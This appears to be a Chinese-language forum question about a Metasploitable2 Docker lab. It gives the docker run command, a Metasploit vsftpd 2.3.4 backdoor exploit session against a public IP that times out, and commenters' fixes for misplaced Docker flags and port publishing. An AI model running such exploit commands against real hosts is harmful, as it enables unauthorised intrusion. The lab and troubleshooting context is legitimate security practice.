我在服务器上运行一个metasploitable2的docker容器。以下是创建该docker容器的docker命令:
docker run --name victumb-it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash" --security-opt apparmor=unconfined -privileged true --network host
我随后在一台不同的服务器上运行了一个利用程序,针对Docker镜像的Kali Linux容器,但是它失败了。
use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 134.122.105.88
RHOST => 134.122.105.88
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 134.122.105.88:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (134.122.105.88:21).
我对这个漏洞为什么失败感到困惑。由于 --network host
,我认为流量会被镜像到容器中。有没有办法修复这个网络错误,使得攻击成功?
--privileged
标志不带任何参数,所以true
被视为镜像名称。我会编辑,您只需要在--privileged
之后删除true
即可。 - Mickael B.-p
或-P
标志暴露或发布容器端口。 - Mickael B.